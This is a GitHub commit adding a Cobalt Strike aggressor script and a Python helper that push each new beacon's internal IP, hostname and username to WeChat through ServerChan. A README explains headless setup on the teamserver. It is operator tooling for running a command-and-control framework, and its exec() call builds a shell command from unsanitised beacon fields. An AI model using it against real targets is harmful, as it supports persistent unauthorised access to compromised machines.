Skip to content

Commit 913b9f1

Browse files
committed
新版 SCT 推送
1 parent 3d2fb46 commit 913b9f1

File tree

3 files changed

+188
-1
lines changed

3 files changed

+188
-1
lines changed

README.md

Lines changed: 139 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,140 @@
11
# CS-ServerChan
2-
通过 CobaltStike 服务端 / 客户端 挂载脚本,将上线主机信息通过 Server 酱通知到微信
2+
3+
**通过 CobaltStike 服务端 / 客户端 挂载脚本,将上线主机信息通过 Server 酱通知到微信**
4+
5+
# 前言
6+
7+
**使用旧的 CS Server酱通知脚本时看到了 ServerChan 关于旧版服务 API 下线的通知:**
8+
9+
![Screenshot_20210728_110540_com.tencent.mm](https://qiniuyun.lintstar.top/hexo/20210728110826.png)
10+
11+
**那就更新下 sendkey 吧**
12+
13+
# 配置相关信息
14+
15+
**脚本有两个地方需要替换:**
16+
17+
## ServerChan.py
18+
19+
**https://sct.ftqq.com/sendkey 复制自己的 KEY 替换到下面的地方**
20+
21+
![image-20210728111654791](https://qiniuyun.lintstar.top/hexo/20210728111654.png)
22+
23+
这里的通知模板支持 Markdown 格式可以随意替换
24+
25+
![image-20210728111816041](https://qiniuyun.lintstar.top/hexo/20210728111816.png)
26+
27+
> **这里加 Token随机数的原因是Server 酱一分钟内无法发送重复信息**
28+
29+
## ServerChan.cna
30+
31+
**在客户端或者服务端后台挂载时,需要改成 `ServerChan.py` Python 脚本所在的绝对路径(从盘符开始)**
32+
33+
![image-20210728111409394](https://qiniuyun.lintstar.top/hexo/20210728111409.png)
34+
35+
**通过 CobaltStike 服务端 / 客户端 挂载脚本,将上线主机信息通过 Server 酱通知到微信**
36+
37+
# 服务端后台挂载
38+
39+
**把 cna 脚本添加到本地客户端后,如果beacon上线了,这个提醒的请求是从客户端发出的。**
40+
41+
**如果网络有波动,断开了到 teamserver 的连接,就收不到通知了。**
42+
43+
**解决方法是使用 agscript 在服务器端运行cna文件,和挂载 CobaltStrike 一样,把 cna 脚本也挂载到后台:**
44+
45+
```bash
46+
[root@Catherine CS4.3]# screen
47+
[root@Catherine CS4.3]# ./agscript xx.xxx.xx.xxx [port] Catherine [passwd] CS-ServerChan/ServerChan.cna
48+
Initial Beacon Checkin: 2122252342 PID: 3488
49+
Sending server: python3 /root/Tools/CS4.3/CS-SeverChan/ServerChan.py --computernam LINTSTAR82CF --internalip 10.xx.xx.15 --username lintstar
50+
```
51+
52+
**挂载后查看进程:**
53+
54+
```bash
55+
[root@Catherine ~]# ps -a
56+
PID TTY TIME CMD
57+
1045504 pts/0 00:00:00 teamserver
58+
1045507 pts/0 00:00:12 java
59+
1049085 pts/4 00:00:00 bash
60+
1049086 pts/4 00:00:08 java
61+
1055932 pts/7 00:00:00 ps
62+
```
63+
64+
## Agscript 用法
65+
66+
**这里 agscript 的用法为:**
67+
68+
```bash
69+
./agscript [host] [port] [user] [pass] </path/to/file.cna>
70+
```
71+
72+
- **[host] # 服务器的 ip 地址。**
73+
- **[port] # cs 的端口号,启动 cs 时有显示。**
74+
- **[user] # 后台挂载脚本时连接到 teamserver 的用户名。**
75+
- **[pass] # 启动服务端 cs 时设置的密码。**
76+
- **[path] # cna 文件的路径。**
77+
78+
# 效果
79+
80+
## 企业微信服务号通知
81+
82+
![Screenshot_20210728_103739_com.tencent.mm](https://qiniuyun.lintstar.top/hexo/20210728112709.png)
83+
84+
## 通知详情
85+
86+
![Screenshot_20210728_103809_com.tencent.mm](https://qiniuyun.lintstar.top/hexo/20210728112550.png)
87+
88+
# 企业微信应用消息配置说明
89+
90+
> **来源:https://sct.ftqq.com/forward**
91+
92+
**优点:**
93+
94+
1. **一次配置,持续使用**
95+
2. **配置好以后,只需要微信就能收消息,不再需要安装企业微信客户端**
96+
97+
**PS:消息接口无需认证即可使用,个人用微信就可以注册**
98+
99+
## 0x01 注册企业
100+
101+
用电脑打开[企业微信官网](https://work.weixin.qq.com/),注册一个企业
102+
103+
## 0x02 创建应用
104+
105+
注册成功后,点「管理企业」进入管理界面,选择「应用管理」 → 「自建」 → 「创建应用」
106+
107+
![img](https://qiniuyun.lintstar.top/hexo/20210728113134.png)
108+
109+
应用名称填入「Server酱」,应用logo到[这里](https://theseven.ftqq.com/20210208142819.png)下载,可见范围选择公司名。
110+
111+
![img](https://qiniuyun.lintstar.top/hexo/20210728113157.png)
112+
113+
创建完成后进入应用详情页,可以得到应用ID( `agentid` )①,应用Secret( `secret` )②。
114+
115+
注意:`secret`推送到手机端时,只能在`企业微信客户端`中查看。
116+
117+
[![img](https://camo.githubusercontent.com/ec3ddd2dd460680f9fc61acc8a1bd215fcb947608102764539c4ce43bc1e0f26/68747470733a2f2f746865736576656e2e667471712e636f6d2f32303231303230383134333535332e706e67)](https://camo.githubusercontent.com/ec3ddd2dd460680f9fc61acc8a1bd215fcb947608102764539c4ce43bc1e0f26/68747470733a2f2f746865736576656e2e667471712e636f6d2f32303231303230383134333535332e706e67)
118+
119+
## 0x03 获取企业ID
120+
121+
进入「[我的企业](https://work.weixin.qq.com/wework_admin/frame#profile)」页面,拉到最下边,可以看到企业ID③,复制并填到上方。
122+
123+
推送UID直接填 `@all` ,推送给公司全员。
124+
125+
## 0x04 推送消息到微信
126+
127+
进入「我的企业」 → 「[微信插件](https://work.weixin.qq.com/wework_admin/frame#profile/wxPlugin)」,拉到下边扫描二维码,关注以后即可收到推送的消息。
128+
129+
![img](https://qiniuyun.lintstar.top/hexo/20210728113233.png)
130+
131+
PS:如果出现`接口请求正常,企业微信接受消息正常,个人微信无法收到消息`的情况:
132+
133+
1. 进入「我的企业」 → 「[微信插件](https://work.weixin.qq.com/wework_admin/frame#profile/wxPlugin)」,拉到最下方,勾选 “允许成员在微信插件中接收和回复聊天消息”
134+
135+
![img](https://qiniuyun.lintstar.top/hexo/20210728113255.jpeg)
136+
137+
2. 在企业微信客户端 「我」 → 「设置」 → 「新消息通知」中关闭 “仅在企业微信中接受消息” 限制条件
138+
139+
![img](https://qiniuyun.lintstar.top/hexo/20210728113358.jpeg)
140+

ServerChan.cna

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
on beacon_initial {
2+
println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1,"pid"));
3+
local('$internalIP $computerName $userName');
4+
$internalIP = replace(beacon_info($1,"internal")," ","_");
5+
$computerName = replace(beacon_info($1,"computer")," ","_");
6+
$userName = replace(beacon_info($1,"user")," ","_");
7+
$cmd = 'python3 /Users/lintstar/Tools/CobaltStrike/SeverChan/ServerChan.py' . " --computernam " . $computerName . " --internalip " . $internalIP . " --username " . $userName;
8+
println("Sending server: " . $cmd);
9+
exec($cmd);
10+
}

ServerChan.py

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
#coding: utf-8
2+
import argparse
3+
import requests
4+
import random
5+
import string
6+
7+
ser_api = 'SCT7141***********************UX' # 填入自己的Server酱API,地址:https://sct.ftqq.com/sendkey
8+
parser = argparse.ArgumentParser(description='Beacon Info')
9+
parser.add_argument('--computername')
10+
parser.add_argument('--internalip')
11+
parser.add_argument('--username')
12+
args = parser.parse_args()
13+
14+
computername = args.computername
15+
internalip = args.internalip
16+
username = args.username
17+
18+
ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 8))
19+
20+
21+
title = "CobaltStrike 上线提醒"
22+
content = """
23+
24+
**您有新主机上线啦 !**
25+
26+
**IP: {}**
27+
28+
**主机名: {}**
29+
30+
**用户名: {}**
31+
32+
**Token: {}**
33+
34+
**请注意查收哦 ~**
35+
""".format(internalip, computername, username, ran_str)
36+
37+
# 新的 Server酱推送接口有变化
38+
resp = requests.post("https://sctapi.ftqq.com/{}.send".format(ser_api),
39+
data={"text": title, "desp": content})

0 commit comments

Comments
 (0)